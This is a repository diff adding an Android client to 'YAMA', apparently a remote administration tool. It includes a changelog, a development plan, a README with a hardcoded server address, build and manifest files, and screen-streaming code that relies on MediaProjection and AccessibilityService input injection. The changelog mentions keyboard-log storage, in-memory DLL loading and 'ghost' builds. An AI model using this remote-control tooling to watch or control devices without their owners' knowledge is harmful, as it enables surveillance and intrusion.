- **線上主機權限等級欄**:主機列表新增「權限」欄,即時顯示 SYSTEM藍色高亮/ Admin / User一眼識別受控端權限上下文
- **遠端視窗管理選單View Windows**:遠端桌面新增 View Windows 選單項目,可列舉目標機器頂層視窗並進行最大化、最小化、隱藏、關閉操作
- **違禁使用者封鎖**:主機列表右鍵新增「禁止連線」,伺服端發送 `COMMAND_FORBIDDEN`;用戶端收到後中斷連線並拒絕重連;附帶 Forbidden 圖示
- **用戶端執行記錄對話框**`ClientLogManager` 每 3 秒增量推送記錄到主控(`TOKEN_REPORT_LOG`);推送執行緒使用 `join()` 防止 use-after-freeIOCP → UI 執行緒 `PostMessage` 防止遺失封包;自帶圖示與選單位圖
- **訊息記錄搜尋列**`LogSearchBar` 元件286 行關鍵字高亮、Prev/Next 導航跳轉、Clear 清除
- **除錯選單YAMA_DBG**:主選單新增除錯入口,動態輸入 `YAMA_DBG` 環境變數值,無需重啟主控
**改進:**
- 遠端桌面游標自訂設定持久化到登錄檔,下次自動恢復偏好
**Bug 修復:**
- 32 位元 / 64 位元主控切換崩潰:`KeyboardManager` 參數型別相容 + 伺服端位元數檢查
- Safari 行動端切回凍結:前景切回時強制重建 WebSocket + 伺服端 30s 寬限期
- `RunFileReceiver` 誤註冊 `ReconnectProcess` 導致檔案傳輸結束後終止主螢幕工作階段
- 隱私桌布已設定時切換選單再次點擊執行清除而非彈框
### v1.3.7 (2026.6.26)
**Android 用戶端 & 視窗擷取增強 & 安全加固**
**新功能:**
- **Android 用戶端**:首個 Android 受控端,支援 Android 5.0+arm64-v8a / armeabi-v7aMediaProjection + MediaCodec H.264 推流AccessibilityService 觸控 / 按鍵注入D-pad 焦點導航完整控制 TV / 機上盒
- **裝置分組**:編譯期 patch 預設 / 伺服端動態修改(`CMD_SET_GROUP`);分組名持久化至 `filesDir/yama_group`App 重啟後保留
- **APK 產生與重簽**BuildDlg 新增 `ghost - Google Android`,與 Linux / macOS ghost 流程一致;配套 `sign_apk.bat` 自動偵測 SDK 完成重簽
- **伺服端刪除用戶端**BYE 指令後 Android Service 透過 JNI 正常停止
- **前台視窗精準擷取**PrintWindow + 伺服端 HWND by clientID 路由,遮蓋情況下仍可擷取完整視窗
- **線上主機右鍵查看活動視窗**:即時查詢目標機器前台視窗標題
- **TOKEN_AUTH 回應 ECDSA 簽章**V2 私鑰簽名伺服端回應,防偽造伺服端(`TOKEN_SERVER_VERIFY = 251`
- **反破解版本綁定**:版本與核心函式庫綁定,阻斷替換 DLL 的破解路徑
- **子授權連線數限制**`LicenseLimit` 欄位 + `CLicenseDlg` 右鍵選單即時設定
**改進:**
- H264 模式跳過首幀 ~8MB 原始巨幀,伺服端在首 IDR 幀後解鎖畫面
- 自適應尺寸渲染改進,減少尺寸切換閃爍
**Bug 修復:**
- `ARGBToNV12` 奇數尺寸視窗堆積溢位(維度鉗制到偶數對齊)
- 連線初始化時多餘螢幕重啟(用戶端 `ScreenManager.cpp` + 伺服端 `ScreenSpyDlg.cpp` 雙端修復)
- 啟動時記憶體 DLL 未正確還原
- 授權用戶端鍵盤日誌目錄衝突(各實例使用獨立目錄)
### v1.3.6 (2026.6.14)
**ROI 區域擷取 & Web 音訊串流 & 主控介面可用性全面提升**

21
android/.gitignore vendored Normal file
View File

@@ -0,0 +1,21 @@
# Build output
build/
app/build/
# Gradle cache and generated configs
.gradle/
gradle/gradle-daemon-jvm.properties
# Local config (contains SDK path, machine-specific)
local.properties
# Android Studio project files
.idea/
*.iml
# Signing config
*.jks
*.keystore
# Force-track prebuilt static libs (overrides root .gitignore *.a rule)
!app/src/main/cpp/lib/**/*.a

266
android/PLAN.md Normal file
View File

@@ -0,0 +1,266 @@
# Android 客户端开发计划书
> 目标功能:屏幕浏览 + 操作控制(触控/键盘输入注入)
> 参考实现:`linux/` 与 `macos/`,两者已验证的共用策略同样适用于 Android
---
## 一、代码复用分析
### 1.1 可 100% 直接复用NDK 无改动)
| 文件 | 用途 | 依赖 |
|------|------|------|
| `common/ikcp.c/.h` | KCP 可靠 UDP 传输 | 纯 C无 OS 依赖 |
| `common/aes.c/.h` | AES 加密 | 纯 C |
| `common/commands.h` | 协议定义(全平台共享) | 无 |
| `common/client_auth_state.h` | 认证状态机 | 无 |
| `common/posix_net_helpers.h` | POSIX socket 辅助函数 | POSIXAndroid NDK 支持) |
| `common/sub_conn_thread.h` | 子连接线程 | POSIX |
| `common/rtt_estimator.h` | RTT 估计器 | 无 |
| `common/logger.h` | 日志 | 无 |
| `common/locker.h` | 互斥锁 | `std::mutex` |
| `common/FileTransferV2.h` | V2 文件传输协议 | 无 |
| `common/xxhash.h` | xxHash 校验 | 纯头文件 |
| `client/IOCPClient.cpp/.h` | TCP/KCP 连接管理Linux 已复用) | POSIX socket |
| `client/Buffer.cpp/.h` | 数据缓冲区 | 无 |
| `client/sign_shim_unix.cpp` | 签名垫片Linux/macOS 已复用) | `libsign.a` |
### 1.2 可参考逻辑、重新实现 Android 版本
| 现有文件 | Android 对应实现 | 原因 |
|----------|-----------------|------|
| `linux/ScreenHandler.h` | `android/cpp/ScreenHandler.h` | 捕获 API 不同MediaProjection vs X11 |
| `macos/InputHandler.mm` | `ControlService.kt` + `main.cpp::DispatchControlEvent` | 注入方式不同AccessibilityService vs CGEvent |
| `linux/SystemManager.h` | `android/cpp/SystemManager.cpp`Phase 4 | 系统 API 不同 |
| `macos/H264Encoder.mm` | Android MediaCodec 路径Java 侧) | 硬件编码器 API 不同 |
| `linux/main.cpp` | `android/cpp/main.cpp` | 参考连接逻辑,逐段移植 |
### 1.3 不复用Windows 专属)
- `client/ScreenCapturerDXGI.h``client/IOCPBase.h``client/ScreenSpy.cpp`Windows GDI/DXGI
- `client/KeyboardManager.cpp`SendInput API
- `client/KernelManager.cpp``client/ServicesManager.cpp`
---
## 二、技术选型
### 2.1 屏幕捕获
**方案**`MediaProjection` APIAndroid 5.0+
```
MediaProjection
└── VirtualDisplay (Surface)
└── MediaCodec (Surface input零拷贝)
└── H.264 NALU → JNI → C++ ScreenHandler → 网络发送
```
- 无需 root官方公开 API
- 通过 `ForegroundService` + `FOREGROUND_SERVICE_MEDIA_PROJECTION` 维持后台运行
- **实际采用零拷贝路径Path A**VirtualDisplay 的 Surface 直接绑定 `MediaCodec` 输入 Surface无 ImageReader 中间环节
### 2.2 视频编码
**已采用**Android `MediaCodec`(硬件 H.264 加速)✅
- VirtualDisplay Surface → MediaCodec Surface input → H.264 NALU零拷贝
- 关键帧前自动拼接 SPS+PPS确保解码器可初始化
- 每 2 秒强制触发一次 IDR兼容忽略 `KEY_I_FRAME_INTERVAL` 的软编码器)
- 编码分辨率:长边限制 1080保持宽高比宽高各自 2 对齐H.264 要求)
**编码流水线**
```
VirtualDisplay → MediaCodec(Surface input) → CODEC_CONFIG(SPS/PPS) + IDR+P 帧
→ onOutputBufferAvailable → JNI nativeOnH264Frame → C++ g_screenHandlers (broadcast) → TCP
```
### 2.3 输入控制
**已采用**`AccessibilityService``ControlService.kt`)✅
| 事件 | 映射 |
| --- | --- |
| `WM_LBUTTONDOWN/MOVE/UP` | 累积路径UP 时判断:位移 < 10px → 单击dispatchTap否则 → 拖拽dispatchTouchGesture |
| `WM_LBUTTONDBLCLK` | 双击:两次 80ms 手势,间隔 200ms |
| `WM_RBUTTONDOWN` | 长按 600ms |
| `WM_MOUSEWHEEL` | delta > 0滚轮上→ 手指下划 +400pxdelta < 0 → 手指上划 -400px |
| `WM_KEYDOWN` Backspace/ESC | `GLOBAL_ACTION_BACK` |
| `WM_KEYDOWN` VK_HOME (0x24) | `GLOBAL_ACTION_HOME` |
| `WM_KEYDOWN` VK_APPS (0x5D) | `GLOBAL_ACTION_RECENTS` |
| `WM_KEYDOWN` PrtSc (0x2C) | `GLOBAL_ACTION_TAKE_SCREENSHOT` |
**关键实现细节**
- 协议:`COMMAND_SCREEN_CONTROL` + MSG64固定 48 字节),**坐标从 lParamoffset 24读取**,与 Windows/Linux/macOS 客户端完全一致;不读 pt.x/pt.y64-bit MSG 与 MSG64 的 pt 偏移不同,直接读会得到错误 Y 坐标)
- 坐标映射:`phys = enc * physSize / encSize`(编码空间 → 物理屏幕空间)
- 单击路径非退化:`moveTo(x,y); lineTo(x+1,y)`,避免 Android 静默拒绝零长度手势路径
- C++ → Kotlin 回调:`DispatchControlEvent()` 全局函数通过 JNI AttachCurrentThread → `ControlService.onControlEvent(@JvmStatic)` → post 到主线程 Handler
### 2.4 网络传输
与 Linux 完全相同的 POSIX socket 路径:
- TCP 控制通道(`IOCPClient.cpp` 已在 Linux 验证)
- KCP over UDP 视频流(`ikcp.c` 纯 CNDK 直接编译,当前未启用)
- TLS/AES 加密复用 `common/aes.c`
---
## 三、目录结构(实际)
```
android/
├── PLAN.md # 本文件
├── README.md # 编译与安装说明
├── build_apk.sh # 编译脚本release/debug/clean
├── yama-release.jks # 签名密钥库(密码通过 YAMA_PWD 环境变量传入)
├── app/
│ ├── build.gradle
│ ├── proguard-rules.pro # 保留 JNI 方法名
│ └── src/main/
│ ├── AndroidManifest.xml
│ ├── java/com/yama/client/
│ │ ├── MainActivity.kt # 权限申请 + 启动 Service
│ │ ├── CaptureService.kt # ForegroundServiceMediaProjection + MediaCodec
│ │ ├── ControlService.kt # AccessibilityService手势注入 + 全局键 + 活动窗口上报
│ │ └── YamaBridge.kt # JNI 声明nativeInit/Stop/SetScreenSize/OnH264Frame
│ ├── cpp/
│ │ ├── CMakeLists.txt
│ │ ├── main.cpp # NDK 入口:连接/心跳/DataProcess/DispatchControlEvent
│ │ ├── ScreenHandler.h # 子连接管理:发送 BitmapInfo/H264 帧,接收 SCREEN_CONTROL
│ │ ├── android_compat.h # 平台兼容头(强制注入替代修改共用源文件)
│ │ ├── common/ → ../../common/ # 符号链接commands.h 等)
│ │ ├── client/ → ../../client/ # 符号链接IOCPClient 等)
│ │ └── lib/
│ │ ├── arm64-v8a/libsign.a
│ │ ├── arm64-v8a/libzstd.a
│ │ ├── armeabi-v7a/libsign.a
│ │ └── armeabi-v7a/libzstd.a
│ └── res/
│ ├── mipmap-*/ic_launcher.png # 传统图标(各密度)
│ ├── mipmap-*/ic_launcher_foreground.png # Adaptive Icon 前景层
│ ├── mipmap-anydpi-v26/ic_launcher.xml # Adaptive Icon 定义
│ ├── values/colors.xml # ic_launcher_background (#F2F2F2)
│ ├── values/strings.xml
│ └── xml/accessibility_service_config.xml
├── build.gradle (project-level)
└── settings.gradle
```
> **注**:原计划中的 `InputHandler.cpp` 已合并至 `main.cpp``DispatchControlEvent` 全局函数)和 `ControlService.kt``SystemManager.cpp` 留待 Phase 4。
---
## 四、开发阶段
### Phase 0工程初始化 ✅ 已完成
- 创建 Android Studio 项目,配置 NDK + CMake
- `CMakeLists.txt` 引入 `common/``client/` 源文件(与 `linux/CMakeLists.txt` 同构)
- 编译验证 `IOCPClient.cpp + Buffer.cpp + sign_shim_unix.cpp + ikcp.c` 在 NDK 下无错误
- `SimplePlugins/sign_lib/` 新增 `sha256_portable.h`(纯 C零外部依赖`build_android.sh`,在 WSL + NDK r27c 下成功交叉编译,产物已复制至 `android/app/src/main/cpp/lib/{arm64-v8a,armeabi-v7a}/libsign.a`
### Phase 1连接与协议 ✅ 已完成
- 移植 `linux/main.cpp` 的连接逻辑到 `android/cpp/main.cpp`
- `CaptureService.kt` 通过 `YamaBridge.nativeInit()` 启动 C++ 网络线程
- 实现登录握手(`LOGIN_INFOR`)、心跳(`TOKEN_HEARTBEAT` + `CMD_HEARTBEAT_ACK` RTT 估算)、认证状态机(`client_auth_state.h`
- 设备信息上报ANDROID_IDXXH64 作为 ClientID、型号、OS 版本、分辨率
- 心跳日志限流60 秒最多打印一次,避免 logcat 刷屏
### Phase 2屏幕捕获与编码 ✅ 已完成
- `CaptureService.kt`:申请 `MediaProjection`,建立 `VirtualDisplay`Surface 直连 `MediaCodec`
- SPS/PPS 缓存IDR 帧发送前自动拼接,子连接 `COMMAND_NEXT` 后开始推流
- `ScreenHandler.h`:发送 `TOKEN_BITMAPINFO`(含 `ScreenSettings.QualityLevel=H264``SendH264` 封装帧头
- 服务端 H264 解码器正常显示 Android 屏幕 ✅
- 服务端适配:`ScreenSpyDlg.cpp` 新增 `ComputeAdaptiveLayout()` 自适应缩放和信箱黑边,`m_offsetX/Y` 修正坐标映射(已合入 `main` 分支)
### Phase 3操作控制 ✅ 已完成branch: feature/android-remote-control
- `ControlService.kt``AccessibilityService`):手势注入、全局键、双击/长按/滚轮
- `main.cpp::DispatchControlEvent()`JNI 反向调用,将 `COMMAND_SCREEN_CONTROL` 路由到 Kotlin
- `ScreenHandler.h::OnReceive`:子连接也可接收 `COMMAND_SCREEN_CONTROL`,统一调用 `DispatchControlEvent`
- 坐标 Bug 修复64-bit MSG 与 MSG64 的 `pt.x/pt.y` 偏移不同MSG: offset 36MSG64: offset 40改为从 lParam两者均在 offset 24提取坐标与其他所有客户端保持一致
- 单击无效 Bug 修复:零长度手势路径被 Android 静默拒绝tap 改用 `lineTo(x+1, y)` 非退化路径
- 代码审查修复JNI `ExceptionClear()`
### Phase 3 后期修复 ✅ 已完成
发现并修复的生产问题:
| 问题 | 根因 | 修复文件 |
|------|------|---------- |
| 静止屏幕首帧黑屏 10-60 秒 | SurfaceFlinger 空闲优化:无脏区时不向 VirtualDisplay 推帧,`REQUEST_SYNC_FRAME` 永远排队等不到输入帧 | `CaptureService.forceFirstFrame()`VirtualDisplay 临时 resize +2px 触发强制合成;`main.cpp``SendBitmapInfo` 后调用 `ForceFirstFrameFromJava()` |
| 部分硬件编码器 IDR 帧未被识别 | 高通等 SoC 对强制 IDR 不设置 `BUFFER_FLAG_KEY_FRAME``SendLoop` 将其当作 P 帧丢弃,首帧永远发不出 | `CaptureService.isNaluKeyframe()`:扫描 Annex-B NALU type 5/7/8 补充判断 |
| H.264 推流在 `SendBitmapInfo` 前卡住 | 推送模式下服务端 `COMMAND_NEXT` 到达时 `setManagerCallBack` 尚未注册消息被丢弃,`m_started` 永远为 `false` | `ScreenHandler.h::SendBitmapInfo()` 末尾直接 `m_started=true; m_cond.notify_all()` |
| 多用户不能同时观看/控制 | `g_screenHandler` 单指针 + `g_screenSpyRunning` 互斥锁,只允许一条子连接 | `main.cpp`:改为 `std::set<AndroidScreenHandler*> g_screenHandlers``nativeOnH264Frame` 广播给全部 handler每个 `COMMAND_SCREEN_SPY` 独立建立子连接,对齐 Windows/Linux/macOS 客户端行为 |
### Phase 4系统信息与稳定性进行中
**已完成:**
| 功能 | 说明 |
|------|------|
| 活动窗口上报 | `ControlService` 监听 `TYPE_WINDOW_STATE_CHANGED`,通过 JNI `getActiveWindow()` 上报当前前台包名;锁屏时上报 `"Locked"` |
| 心跳间隔下限 | Android 侧将服务端下发的 `ReportInterval` 强制限制为 `max(收到值, 30)`,防止 5s 高频心跳耗电 |
| 服务端心跳超时延长 | `CheckHeartbeat()` 超时阈值从 `max(60, interval*3)` 改为 `max(120, interval*3)`,与 30s 心跳间隔留出 4 倍余量 |
| CPU 频率上报 | `GetCpuMHz()` 优先读 `/sys/devices/system/cpu/*/cpufreq/cpuinfo_max_freq`,虚拟机无此节点时回退读 `/proc/cpuinfo``BogoMIPS` |
| 后台保活 | `ForegroundService` + 持久通知Phase 2 已完成),豁免 Doze 模式网络限制 |
| 应用图标 | 自定义眼睛图标,支持 Android 8+ Adaptive Icon前景层 + 浅灰背景),兼容各厂商形状裁切 |
| Release 签名 | `yama-release.jks` 随仓库分发,密码通过 `YAMA_PWD` 环境变量或交互输入,保证多机一致签名 |
**待完成:**
- 处理 `MediaProjection` 被用户撤销的情况(弹出通知,引导重授权)
- 连接断线自动重连后子连接同步重建(目前 `ScreenSpyThread` 有 20 次重试,但主连接重连后子连接未同步恢复)
- `WM_MBUTTONDOWN`(中键)手势映射(目前静默丢弃)
- `SystemManager` 封装:将 Java 层已上报的设备信息型号、版本、IP统一封装为独立模块
---
## 五、关键约束与风险
| 风险 | 影响 | 状态 |
|------|------|------|
| ~~`libsign.a` 无 ARM 构建~~ | ~~Phase 0 阻塞~~ | ✅ 已解决:`sha256_portable.h` + `build_android.sh` |
| Android 12+ `MediaProjection` 需每次重新申请 | 后台录屏被中断 | `ForegroundService` 保活 + 通知引导重授权 |
| `AccessibilityService` 用户需手动开启 | 操作控制功能受限 | UI 引导流程,说明开启步骤 |
| 某些厂商 ROM 限制后台 Service | 连接断开 | 电池优化白名单申请 |
| H.264 Baseline Level 对齐 | 服务端解码兼容性 | `MediaCodec` 输出指定 `profile=Baseline`,与 x264 现有配置一致 |
| `AccessibilityService` 无法向系统设置页面注入手势 | 设置界面无法远程操作 | Android 安全限制,无解,提示用户 |
---
## 六、代码审查注意事项
### 最高原则:既有功能无破坏
增加 Android 客户端支持时Windows/Linux/macOS 客户端的全部既有功能必须保持正常。每次改动上线前须验证:
| 检查项 | 说明 |
| --- | --- |
| `isAndroidRemote` 初始值为 `false` | 非 Android 客户端走原有代码路径,不受影响 |
| `updateUIForOrientation()` Android 分支有 `isAndroidRemote &&` 守卫 | 非 Android 客户端不会进入沉浸模式分支 |
| `NotifyResolutionChange` 新参数有默认值 `= ""` | 现有调用点即便漏传也能正常编译和运行 |
| `FindHostByClientID``FindHostByIP` 一致的指针返回约定 | ScreenSpyDlg 在 UI 线程OnInitDialog调用OnReceiveComplete 在 IO 线程调用,后者读 `additonalInfo[]` 为只读操作,低概率竞争 |
| Web 端坐标映射 `getTouchPos` 使用 `getBoundingClientRect()` | 动态取 canvas 实际显示尺寸CSS 拉伸不影响坐标精度 |
| Android 边缘手势检测有时间和距离双重门槛 | 普通慢速拖拽不会被误识别为系统手势 |
### 审查流程
1. `git diff HEAD` 逐文件审查,重点关注非 Android 代码路径的改动
2. 确认所有新增条件分支均以 `isAndroidRemote``client_type === 'APK'` 等 Android 专有标志守卫
3. 共享协议结构体(`commands.h``LOGIN_INFOR``szReserved`)改动需确认向前/向后兼容
4. 服务端 C++ 改动在 Windows 下编译,前端 `index.html` 在桌面和移动浏览器两端验证
---
## 七、不在本期范围
- 音频监听(`AudioRecord` + Opus 编码)
- 文件管理(已有 `FileTransferV2`,后期可直接接入)
- 摄像头(前/后摄)
- Shell 终端(`/system/bin/sh` + PTY可参考 `PTYHandler.h`
- Root 特权功能uinput、内核注入

172
android/README.md Normal file
View File

@@ -0,0 +1,172 @@
# YAMA Android 客户端
YAMA 的 Android 客户端,允许服务端将 Android 设备作为受控主机进行远程查看和操控。功能包括:
- 屏幕实时截图并推流给服务端
- 接收服务端的触控/按键指令并注入到系统
- 后台保持心跳连接,支持长期驻留
---
## 编译前:配置服务端地址
服务端 IP 和端口在源码中硬编码,编译前必须修改:
文件:`app/src/main/java/com/yama/client/MainActivity.kt`
```kotlin
private val serverIp = "91.99.165.207" // 改为你的服务端 IP
private val serverPort = 443 // 改为你的服务端端口
```
改完再执行编译,否则客户端连不上服务端。
---
## 编译环境
**WSLUbuntu或原生 Linux** 上编译Windows 原生环境不支持。
| 依赖 | 版本要求 | 安装命令 |
|---|---|---|
| Java | 17+ | `sudo apt install openjdk-17-jdk` |
| CMake | 3.22+ | `sudo apt install cmake` |
| Ninja | 任意 | `sudo apt install ninja-build` |
| Android SDK | 含 build-tools | 见下方说明 |
| Android NDK | 30.xLinux 版) | 见下方说明 |
### Android SDK
推荐通过 Android Studio 安装,安装后 SDK 默认在:
- Windows`%USERPROFILE%\AppData\Local\Android\Sdk`
- Linux`~/Android/Sdk`
WSL 环境下脚本会自动检测 Windows 侧的 SDK也可以手动指定
```bash
export ANDROID_HOME=/mnt/c/Users/<用户名>/AppData/Local/Android/Sdk
```
### Android NDKLinux 版)
> **重要**:必须使用 **Linux 版 NDK**Windows NDK 的 `.exe` 工具无法在 WSL 内执行。
```bash
# 下载 Linux NDK约 600 MB
wget https://dl.google.com/android/repository/android-ndk-r30b-linux.zip
unzip android-ndk-r30b-linux.zip -d $HOME
# 解压目录名可能带字母后缀r30、r30b 等),统一重命名
mv $HOME/android-ndk-r30* $HOME/android-ndk
```
脚本会自动检测 `~/android-ndk`,也可以通过环境变量指定:
```bash
export ANDROID_NDK_HOME=$HOME/android-ndk
```
---
## 签名密钥(一次性准备)
Release APK 需要签名密钥。密钥库文件 `yama-release.jks` 已在仓库中,**密码需向仓库维护者获取**,或通过以下方式传入:
```bash
# 方式一:环境变量(推荐,避免每次输入)
export YAMA_PWD=密钥库密码
# 方式二:编译时脚本会交互提示输入
```
如需重新生成密钥库(密码遗失等情况):
```bash
cd android/
keytool -genkeypair -keystore yama-release.jks \
-alias yama -keyalg RSA -keysize 2048 -validity 10000 \
-dname 'CN=YAMA,O=Internal,C=CN'
```
> 密钥库文件本身不含私密信息,可以提交到 git密码不要提交。
> 重新生成密钥库后,已安装旧版本的设备需要先卸载再安装。
---
## 编译
在 WSL 或 Linux 终端中,进入 `android/` 目录:
```bash
cd android/
# 编译 Release默认约 1.7 MB推荐部署用
./build_apk.sh
# 编译 Debug约 4 MB含调试符号开发排查用
./build_apk.sh debug
# 清理所有编译产物(切换配置或遇到奇怪错误时使用)
./build_apk.sh clean
```
编译成功后产物:
| 类型 | 路径 |
|---|---|
| Release | `ghost.apk` |
| Debug | `ghost-debug.apk` |
---
## 安装到设备
### 1. 传输 APK
`ghost.apk` 拷贝到手机USB 传输、微信文件传输等均可)。
### 2. 安装
在手机上用文件管理器找到 APK点击安装。
如提示"禁止安装未知来源应用",需先开启允许:
- **Android 8+**:设置 → 应用 → 找到你使用的文件管理器 → 允许安装未知应用
- **MIUI/ColorOS 等**:设置 → 隐私/安全 → 安装未知应用
### 3. 解除受限设置Android 13+ 必须)
Android 13 及以上系统对手动安装的 APK 有额外限制,若不解除,无法授权 Accessibility Service
1. 打开 **设置 → 应用 → YAMA**
2. 点击右上角 **三点菜单**
3. 选择 **"允许受限设置"**Allow restricted settings
4. 使用 PIN 或指纹确认
> 此步骤每次重新安装 APK 后都需要重复执行一次。
### 4. 授权必要权限
**Accessibility Service**(必须,用于注入触控/按键)
设置 → 无障碍 → 已安装的应用 → YAMA → 开启
> 重装 APK 后此权限会被重置,需重新授权。
### 5. 启动
点击桌面 YAMA 图标启动,系统会弹出屏幕录制确认框,点击 **"立即开始"** 授权。
授权后应用进入后台运行,通知栏会显示一条持久通知表示服务正在运行。此后服务端即可在主机列表中看到该设备。
> 屏幕录制确认在每次应用重启后都会弹出,这是 Android 系统的强制要求,无法跳过。
---
## 注意事项
- 建议在电池优化设置中将 YAMA 设为 **"不限制"**(或"不优化"),防止系统在后台将其杀掉
- 路径:设置 → 应用 → YAMA → 电池 → 不限制
- 心跳间隔最小 30 秒,长期后台运行耗电量与微信后台相当
- 服务端可在设置中调大上报间隔(建议不超过 60 秒)以进一步降低耗电

83
android/app/build.gradle Normal file
View File

@@ -0,0 +1,83 @@
plugins {
id 'com.android.application'
id 'org.jetbrains.kotlin.android'
}
// 模拟器调试时传 -PincludeEmulatorAbis=truebuild_apk.sh 发布时强制传 false
def INCLUDE_EMULATOR_ABIS = project.findProperty('includeEmulatorAbis')?.toBoolean() ?: false
android {
namespace 'com.yama.client'
compileSdk 35
ndkVersion "30.0.14904198"
defaultConfig {
applicationId "com.yama.client"
minSdk 21
targetSdk 35
versionCode 1
versionName "1.0"
ndk {
if (INCLUDE_EMULATOR_ABIS) {
abiFilters 'arm64-v8a', 'armeabi-v7a', 'x86', 'x86_64'
} else {
abiFilters 'arm64-v8a', 'armeabi-v7a'
}
}
externalNativeBuild {
cmake {
cppFlags '-std=c++17'
arguments '-DANDROID_STL=c++_static'
}
}
}
externalNativeBuild {
cmake {
path "src/main/cpp/CMakeLists.txt"
version "3.22.1"
}
}
signingConfigs {
release {
storeFile file("../yama-release.jks")
storePassword System.getenv("YAMA_PWD") ?: ""
keyAlias 'yama'
keyPassword System.getenv("YAMA_PWD") ?: ""
}
}
buildTypes {
release {
minifyEnabled true
shrinkResources true
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'),
'proguard-rules.pro'
signingConfig signingConfigs.release
}
}
packagingOptions {
jniLibs {
// .so 文件不压缩ZIP_STORED使服务端 patch 工具可直接在 APK 中搜索 FLAG_GHOST
useLegacyPackaging false
}
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_17
targetCompatibility JavaVersion.VERSION_17
}
kotlinOptions {
jvmTarget = '17'
}
}
dependencies {
implementation 'androidx.core:core-ktx:1.13.1'
implementation 'androidx.appcompat:appcompat:1.7.0'
}

2
android/app/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,2 @@
# Keep all app classes JNI method names must match exactly
-keep class com.yama.client.** { *; }

View File

@@ -0,0 +1,47 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
<application
android:allowBackup="false"
android:extractNativeLibs="false"
android:icon="@mipmap/ic_launcher"
android:roundIcon="@mipmap/ic_launcher_round"
android:label="YAMA"
android:supportsRtl="true"
android:theme="@style/Theme.YAMA">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:name=".CaptureService"
android:foregroundServiceType="dataSync|mediaProjection"
android:exported="false" />
<service
android:name=".ControlService"
android:description="@string/accessibility_service_description"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_service_config" />
</service>
</application>
</manifest>

View File

@@ -0,0 +1,56 @@
cmake_minimum_required(VERSION 3.22)
project(yama_client LANGUAGES CXX C)
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_EXTENSIONS OFF)
# YAMA 根目录相对于本文件cpp/ → main/ → src/ → app/ → android/ → YAMA/
get_filename_component(YAMA_ROOT "${CMAKE_CURRENT_SOURCE_DIR}/../../../../../" ABSOLUTE)
# ---- 头文件搜索路径(与 linux/CMakeLists.txt 同构)----
include_directories(
${YAMA_ROOT}
${YAMA_ROOT}/client
${YAMA_ROOT}/compress
${CMAKE_CURRENT_SOURCE_DIR} # android_compat.h
)
# ---- 强制注入兼容头(替代修改共用源文件)----
add_compile_options(-include "${CMAKE_CURRENT_SOURCE_DIR}/android_compat.h")
# ---- 核心源文件(与 linux/CMakeLists.txt 相同)----
set(CORE_SOURCES
${YAMA_ROOT}/client/Buffer.cpp
${YAMA_ROOT}/client/IOCPClient.cpp
${YAMA_ROOT}/client/sign_shim_unix.cpp
${YAMA_ROOT}/common/logger.cpp
${YAMA_ROOT}/common/ikcp.c
)
# ---- Android NDK 入口 ----
set(ANDROID_SOURCES
main.cpp
)
add_library(yama SHARED ${CORE_SOURCES} ${ANDROID_SOURCES})
# ---- 预编译静态库(由 android/build_android_libs.ps1 产出)----
# 支持 arm64-v8a / armeabi-v7a真机和 x86 / x86_64Android 模拟器)
target_link_libraries(yama PRIVATE
"${CMAKE_CURRENT_SOURCE_DIR}/lib/${ANDROID_ABI}/libsign.a"
)
target_link_libraries(yama PRIVATE
"${CMAKE_CURRENT_SOURCE_DIR}/lib/${ANDROID_ABI}/libzstd.a"
)
# ---- Android 系统库 ----
target_link_libraries(yama PRIVATE android log)
# ---- 编译选项 ----
target_compile_options(yama PRIVATE
-O2
-fvisibility=hidden
-Wno-unused-parameter
-Wno-missing-field-initializers
)

View File

@@ -0,0 +1,200 @@
#pragma once
// Android 屏幕处理器:管理截屏子连接,接收 Java 侧 MediaCodec 输出的 H.264 NALU
// 按协议封装后通过子连接发送给服务端。
#include "common/commands.h"
#include "client/IOCPClient.h"
#include <atomic>
#include <mutex>
#include <condition_variable>
#include <queue>
#include <vector>
#include <thread>
#include <cstring>
#include <cinttypes>
#include <android/log.h>
#define LOGI_SH(...) __android_log_print(ANDROID_LOG_INFO, "YAMA_SCR", __VA_ARGS__)
#define LOGE_SH(...) __android_log_print(ANDROID_LOG_ERROR, "YAMA_SCR", __VA_ARGS__)
extern uint64_t g_myClientID;
// 定义在 main.cpp供子连接的 OnReceive 调用
extern void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY);
// Linux/macOS 共用的 BITMAPINFOHEADER 布局(与 Windows 完全一致)
#pragma pack(push, 1)
struct BmpInfoHeader {
uint32_t biSize;
int32_t biWidth;
int32_t biHeight;
uint16_t biPlanes;
uint16_t biBitCount;
uint32_t biCompression;
uint32_t biSizeImage;
int32_t biXPelsPerMeter;
int32_t biYPelsPerMeter;
uint32_t biClrUsed;
uint32_t biClrImportant;
};
#pragma pack(pop)
class AndroidScreenHandler : public IOCPManager {
public:
AndroidScreenHandler(IOCPClient* client, int width, int height)
: m_client(client), m_width(width), m_height(height),
m_started(false), m_running(true), m_firstSent(false)
{
memset(&m_bmpHdr, 0, sizeof(m_bmpHdr));
m_bmpHdr.biSize = sizeof(BmpInfoHeader);
m_bmpHdr.biWidth = width;
m_bmpHdr.biHeight = height;
m_bmpHdr.biPlanes = 1;
m_bmpHdr.biBitCount = 32;
m_bmpHdr.biCompression = 0;
m_bmpHdr.biSizeImage = (uint32_t)(width * height * 4);
// 1 = top-down H264Android MediaCodec 标准编码顺序);
// 服务端据此用负步长写 DIB抵消 GDI bottom-up 翻转
m_bmpHdr.biClrImportant = 1;
m_sendThread = std::thread(&AndroidScreenHandler::SendLoop, this);
}
